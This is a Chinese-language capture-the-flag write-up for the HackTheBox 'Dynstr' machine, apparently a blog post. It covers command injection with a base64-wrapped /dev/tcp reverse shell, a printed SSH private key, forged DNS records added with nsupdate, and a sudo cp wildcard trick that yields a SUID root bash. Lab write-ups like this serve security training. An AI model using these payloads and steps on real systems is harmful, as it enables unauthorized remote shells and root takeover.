Hackthebox Dynstr

连接vpn后进行nmap端口扫描
发现 80 53 22
在这里插入图片描述

先看80端口 发现一个账号密码 以及三个dns
那先将dns写入hosts文件
echo “10.10.10.244 dnsalias.htb dynamicdns.htb no-ip.htb dyna.htb dynstr.htb” >> /etc/hosts
然后 我用dirsearch 以及dirb的大字典 搜出了/nic/目录
python3 disearch.py -u http://10.10.10.244 -w /usr/share/dirb/wordlists/big.txt

在这里插入图片描述
在这里插入图片描述

然后继续在nic目录的基础上搜索 发现了update
访问后看到badauth

getshell方法
你对http://10.10.10.244/nic/update这个地址抓包
构造反弹语句
/bin/bash -c ‘bash -i >& /dev/tcp/ip/端口 0>&1’
/nic/update?hostname=$(echo+你构造的反弹shell语句的base64编码+|+base64±d+|+bash)"这里随便填个他的子域名&myip=你的ip
下面要填写这个东西Authorization: Basic ZHluYWRuczpzbmRhbnlk
相当于填写账号密码吧 你访问80端口的时候会看到下面给了你一个账号密码
你把这个账号密码 按这个格式 账号:密码 进行base64编码
你在线解码看看就知道是什么了
解码ZHluYWRuczpzbmRhbnlk

你这个包发burp重放模块里 每次翻车了 就重新监听 然后重发一次 就能很方便地再次拿shell

上述内容参考资料如下
https://www.noip.com/integrate/response
https://help.dyn.com/remote-access-api/return-codes/

弹回来后拿到一个www-data的权限
在这里插入图片描述

那我们打htb的思路 一般是要拿user的flag 再拿root
所以进/home目录
发现俩用户
分别查看俩用户的目录就会发现
bindmgr用户存在user.txt
那么我们现在的思路就是得到bindmgr的权限
www-data -> bindmgr -> dyna
在 /home/bindmgr/support-case-C62796521/目录里随便翻东西 随便打开 你会发现
ssh私钥
这个时候我以为搞定了
直接拿ssh -i id_rsa 用户名@ip去试
在这里插入图片描述

这让你输密码 这肯定不对啊 失败了
重新思考一下 看了一下这个文章
https://www.thegeekstuff.com/2014/01/install-dns-server/
从开头遇到了dns相关的内容推测
也许我们的IP不在dns相关区域中 需要手工添加
在authorized_keys文件中 它只允许符合主机名“*.infra.dyna.htb”的客户端使用该密钥进行身份验证
现在 我们去翻一下网站目录 /var/www/html 然后这里面 应该是nic目录里面有个update
仔细看会发现可以看到nsupdate与密钥一起使用/etc/bind/ddns.key
那么现在就去/etc/bind目录
把infra.key添加到DNS记录
这里你可能会问 为什么不用ddns.key
在这里插入图片描述

原因是用不了啊 所以只能用infra.key
nsupdate -k /etc/bind/infra.key
update add 随便写个东西.infra.dyna.htb 86400 A 你的ip
此行为空格 下一行的IP为D.C.B.A格式,也就是把我们的IP反过来
update add 你ip反着写.in-addr.arpa. 300 PTR 和上面那个保持一致.infra.dyna.htb
比如这个样子
update add 3.16.10.10.in-addr.arpa. 300 PTR qwq.infra.dyna.htb
send
quit

ssh -i id_rsa bindmgr@dyna.htb

不出意外的话 你现在应该就能登录上去了

这里的秘钥我建议你把那个带换行符的字符串 丢c语言的输出语句里比如

#include<stdio.h>
int main(){
printf("-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n");
}
这样可以自动把换行符给输出 很方便
然后再登录 登录上去后 sudo -l
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

你会发现这个东西

为了节省时间 我直接告诉你这个指令存在的漏洞 你只需要定位到他cp相关的那部分
cat /usr/local/bin/bindmgr.sh | grep cp
输出结果
cp .version * /etc/bind/named.bindmgr/
这里我直接进行过滤了 只留重要的部分 如果你想慢慢看可以删去后面的过滤
注意这句话哈 这个意思是使用这个指令就会把当前目录下的version和其他文件一起复制到目录/etc/bind/named.bindmgr/
那么我的建议是
在你当前用户目录下这样操作
echo 随便写个数 > .version
cp /bin/bash .
chmod +s bash

把suid权限的bash丢过来
按理来说直接运行哪个指令 就可以跑去复制的目录执行拿到这个root了
但实际上 你会发现bash复制过去后s权限就丢了
所以你需要加上这个
echo “” > --preserve=mode
你可以在当前目录再弄个这样的文件 细节原理建议直接谷歌
然后就可以保留权限的情况下丢bash过去
现在 执行sudo /usr/local/bin/bindmgr.sh
再跑到那个目录下执行
/etc/bind/named.bindmgr/bash -p
搞定
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值